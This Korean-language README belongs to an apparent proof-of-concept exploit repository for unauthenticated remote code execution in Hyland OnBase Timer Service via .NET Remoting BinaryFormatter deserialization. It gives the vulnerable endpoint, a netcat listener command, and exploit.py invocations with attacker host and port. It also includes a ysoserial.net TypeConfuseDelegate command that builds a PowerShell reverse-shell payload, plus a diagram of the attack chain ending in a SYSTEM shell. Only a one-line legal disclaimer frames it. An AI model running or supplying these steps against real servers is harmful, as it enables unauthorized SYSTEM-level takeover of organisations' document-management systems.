
Hyland OnBase Timer Service에서 .NET Remoting BinaryFormatter 역직렬화를 통한 인증되지 않은 원격 코드 실행을 위한 개념 증명 익스플로잇으로, SYSTEM 권한을 획득합니다.
요르단 🇯🇴
이 저장소는 안전하지 않은 .NET Remoting BinaryFormatter 역직렬화를 통한 Hyland OnBase Timer Service 인증 없는 원격 코드 실행 취약점에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.
이 취약점은 인증되지 않은 공격자가 조작된 BinaryFormatter 페이로드를 Timer Service 엔드포인트에 전송하여 NT AUTHORITY\SYSTEM 권한으로 임의 코드를 실행할 수 있게 합니다.
Timer Service는 .NET Remoting 엔드포인트를 노출합니다:
http://TARGET:8900/TimerServiceAPI.rem
서비스는 인증되지 않은 BinaryFormatter 객체를 수락합니다. 악성 가젯 체인(ysoserial.net)을 제공함으로써 역직렬화 중에 임의 명령 실행이 발생합니다.
Python 의존성 설치:
pip install requests
ysoserial.net 다운로드:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
스크립트는 ysoserial 명령을 출력합니다. 다른 터미널(Windows / Mono)에서 실행하세요:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
페이로드 생성 후 익스플로잇 터미널에서 ENTER를 누르세요.
취약한 경우 → 리버스 셸이 연결됩니다.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
익스플로잇은 블라인드 방식입니다
성공 = 리버스 셸 콜백
서비스는 SYSTEM으로 실행됩니다
차단된 경우 대체 가젯 시도:
sequenceDiagram
participant A as 공격자
participant Y as ysoserial.net
participant T as 대상 OnBase Timer Service
participant S as SYSTEM 셸
A->>A: netcat 리스너 시작
A->>Y: BinaryFormatter 페이로드 생성
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: 가젯 체인 실행
S-->>A: 리버스 셸 연결
이 익스플로잇은 다음을 위해 제공됩니다:
소유하지 않거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.
| 옵션 | 설명 |
|---|
| target | 대상 IP 또는 호스트명 |
| --port | Timer Service 포트 (기본값 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | 공격자 IP |
| --lport | 리스너 포트 |
| --gadget | ysoserial 가젯 체인 |